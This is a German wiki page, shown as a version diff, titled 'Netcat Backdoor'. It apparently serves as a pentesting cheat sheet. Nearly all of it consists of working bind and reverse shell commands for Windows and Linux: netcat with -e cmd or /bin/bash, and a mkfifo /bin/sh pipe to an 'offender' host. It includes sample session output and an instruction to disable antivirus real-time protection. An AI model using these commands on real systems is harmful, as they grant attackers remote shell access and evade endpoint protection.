Netcat Backdoor: Unterschied zwischen den Versionen

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=Windows=
+
*[[Netcat Backdoor Windows]]
==Download==
 
*https://github.com/interference-security/netcat-windows
 
==Open Port==
 
;Wichtig Unter Windows Virenschutz insbesondere der Echtzeitschutz muss deaktiviert sein.
 
===Victim===
 
*C:\Users\admin\Downloads>nc -L -p 10011 -d -e cmd
 
===Offender===
 
MSVICTIM=10.1.1.4
 
*oesx:~ thomas$ nc $MSVICTIM 10011
 
Microsoft Windows [Version 6.3.9600]
 
(c) 2013 Microsoft Corporation. Alle Rechte vorbehalten.
 
 
C:\Users\admin\Downloads>
 
 
 
==Classic Backdoor==
 
===Offender===
 
*root@offender:~# netcat -l -p 9999
 
===Victim===
 
*C:\Users\admin\Downloads>nc -e cmd 10.0.10.101 9999
 
 
 
 
=Linux=
 
=Linux=
 
==with netcat-traditional==
 
==with netcat-traditional==

Version vom 17. Oktober 2023, 08:41 Uhr

Linux

with netcat-traditional

bind_tcp
  • root@victim:~# apt-get install netcat-traditional
  • root@victim:~# nc.traditional -l -p 10001 -e /bin/bash
  • root@offender:~# netcat 10.0.10.104 10001

with netcat-traditional

reverse_tcp
  • root@offender:~# netcat -l -p 10002
  • root@victim:~# apt-get install netcat-traditional
  • root@victim:~# nc.traditional -c /bin/sh 10.0.10.101 10002

with netcat-openbsd

VICTIM=10.1.1.1 OFFENDER=10.1.1.2

  • root@victim:~# mkfifo /tmp/backpipe ; /bin/sh 0</tmp/backpipe | nc $OFFENDER 8668 1>/tmp/backpipe
  • root@offender:~# nc -nvlp 8668
listening on [any] 8668 ...
connect to [10.1.1.2] from (UNKNOWN) [10.1.1.1] 54154

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